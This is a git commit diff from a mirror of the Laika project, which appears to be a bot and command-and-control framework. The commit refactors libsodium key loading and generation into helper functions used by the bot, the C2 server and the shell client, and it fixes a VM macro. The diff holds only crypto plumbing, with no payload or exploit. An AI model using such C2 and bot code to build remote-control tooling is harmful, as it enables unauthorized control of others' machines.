1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-22 04:50:06 +00:00

Added lsodium.c, laikaK_loadKeys, laikaK_genKeys

This commit is contained in:
CPunch 2022-03-21 15:24:05 -05:00
parent af9cdfdaed
commit 30f7ffb73b
8 changed files with 51 additions and 38 deletions

View File

@ -56,13 +56,13 @@ struct sLaika_bot *laikaB_newBot(void) {
LAIKA_ERROR("LibSodium failed to initialize!\n"); LAIKA_ERROR("LibSodium failed to initialize!\n");
} }
if (crypto_kx_keypair(bot->pub, bot->priv) != 0) { if (!laikaK_genKeys(bot->pub, bot->priv)) {
laikaB_freeBot(bot); laikaB_freeBot(bot);
LAIKA_ERROR("Failed to gen keypair!\n"); LAIKA_ERROR("Failed to gen keypair!\n");
} }
/* read cnc's public key into peerPub */ /* read cnc's public key into peerPub */
if (sodium_hex2bin(bot->peer->peerPub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { if (!laikaK_loadKeys(bot->peer->peerPub, NULL, LAIKA_PUBKEY, NULL)) {
laikaB_freeBot(bot); laikaB_freeBot(bot);
LAIKA_ERROR("Failed to init cnc public key!\n"); LAIKA_ERROR("Failed to init cnc public key!\n");
} }

View File

@ -180,7 +180,6 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
struct sLaika_cnc *laikaC_newCNC(uint16_t port) { struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc)); struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
size_t _unused;
/* init peer hashmap & panel list */ /* init peer hashmap & panel list */
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc_PeerElemCompare, NULL, NULL); cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc_PeerElemCompare, NULL, NULL);
@ -205,14 +204,9 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
/* load keys */ /* load keys */
LAIKA_DEBUG("using pubkey: %s\n", LAIKA_PUBKEY); LAIKA_DEBUG("using pubkey: %s\n", LAIKA_PUBKEY);
if (sodium_hex2bin(cnc->pub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { if (!laikaK_loadKeys(cnc->pub, cnc->priv, LAIKA_PUBKEY, LAIKA_PRIVKEY)) {
laikaC_freeCNC(cnc); laikaC_freeCNC(cnc);
LAIKA_ERROR("Failed to init cnc public key!\n"); LAIKA_ERROR("Failed to init cnc keypairs!\n");
}
if (sodium_hex2bin(cnc->priv, crypto_kx_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) {
laikaC_freeCNC(cnc);
LAIKA_ERROR("Failed to init cnc private key!\n");
} }
return cnc; return cnc;

View File

@ -136,7 +136,7 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
/* sanity check, make sure shell is open */ /* sanity check, make sure shell is open */
if ((peer = aInfo->shellBot) == NULL) if ((peer = aInfo->shellBot) == NULL)
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Not shell open!\n"); LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Shell not open!\n");
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH) if (sz > LAIKA_SHELL_DATA_MAX_LENGTH)
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Data too big!\n"); LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Data too big!\n");

View File

@ -3,6 +3,11 @@
#include "sodium.h" #include "sodium.h"
#include <stdbool.h>
#define LAIKAENC_SIZE(sz) (sz + crypto_box_SEALBYTES) #define LAIKAENC_SIZE(sz) (sz + crypto_box_SEALBYTES)
bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv);
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv);
#endif #endif

View File

@ -29,10 +29,12 @@ struct sLaika_vm {
int pc; int pc;
}; };
#define LAIKA_MAKE_VM_INT(i) (struct sLaika_vm_val)({.i = i})
#define LAIKA_MAKE_VM_PTR(ptr) (struct sLaika_vm_val)({.ptr = ptr})
#define LAIKA_MAKE_VM(consts, code) (struct sLaika_vm)({.constList = consts, .code = code, .pc = 0}) #define LAIKA_MAKE_VM(consts, code) (struct sLaika_vm)({.constList = consts, .code = code, .pc = 0})
/* constants */
#define LAIKA_MAKE_VM_INT(i) (struct sLaika_vm_val)({.i = i})
#define LAIKA_MAKE_VM_PTR(ptr) (struct sLaika_vm_val)({.ptr = ptr})
/* instructions */
#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a #define LAIKA_MAKE_VM_IA(opcode, a) opcode, a
#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b #define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b
#define LAIKA_MAKE_VM_IABC(opcode, a, b, c) opcode, a, b, c #define LAIKA_MAKE_VM_IABC(opcode, a, b, c) opcode, a, b, c
@ -63,7 +65,7 @@ inline void laikaV_execute(struct sLaika_vm *vm) {
uint8_t a = READBYTE; \ uint8_t a = READBYTE; \
uint8_t b = READBYTE; \ uint8_t b = READBYTE; \
uint8_t c = READBYTE; \ uint8_t c = READBYTE; \
vm->stack[a] = vm->stack[b].i x vm->stack[c].i; \ vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \
break; \ break; \
} }

19
lib/src/lsodium.c Normal file
View File

@ -0,0 +1,19 @@
#include "lsodium.h"
#include <string.h>
bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv) {
size_t _unused;
if (outPub && sodium_hex2bin(outPub, crypto_kx_PUBLICKEYBYTES, inPub, strlen(inPub), NULL, &_unused, NULL) != 0)
return false;
if (outPriv && sodium_hex2bin(outPriv, crypto_kx_SECRETKEYBYTES, inPriv, strlen(inPriv), NULL, &_unused, NULL) != 0)
return false;
return true;
}
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv) {
return crypto_kx_keypair(outPub, outPriv) == 0;
}

View File

@ -136,8 +136,6 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
/* ===============================================[[ Client API ]]=============================================== */ /* ===============================================[[ Client API ]]=============================================== */
void shellC_init(tShell_client *client) { void shellC_init(tShell_client *client) {
size_t _unused;
laikaP_initPList(&client->pList); laikaP_initPList(&client->pList);
client->peer = laikaS_newPeer( client->peer = laikaS_newPeer(
shellC_pktTbl, shellC_pktTbl,
@ -157,18 +155,13 @@ void shellC_init(tShell_client *client) {
LAIKA_ERROR("LibSodium failed to initialize!\n"); LAIKA_ERROR("LibSodium failed to initialize!\n");
} }
if (sodium_hex2bin(client->pub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { if (!laikaK_loadKeys(client->pub, client->priv, LAIKA_PUBKEY, LAIKA_PRIVKEY)) {
shellC_cleanup(client); shellC_cleanup(client);
LAIKA_ERROR("Failed to init public key!\n"); LAIKA_ERROR("Failed to init keypair!\n");
}
if (sodium_hex2bin(client->priv, crypto_kx_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) {
shellC_cleanup(client);
LAIKA_ERROR("Failed to init private key!\n");
} }
/* read cnc's public key into peerPub */ /* read cnc's public key into peerPub */
if (sodium_hex2bin(client->peer->peerPub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { if (!laikaK_loadKeys(client->peer->peerPub, NULL, LAIKA_PUBKEY, NULL)) {
shellC_cleanup(client); shellC_cleanup(client);
LAIKA_ERROR("Failed to init cnc public key!\n"); LAIKA_ERROR("Failed to init cnc public key!\n");
} }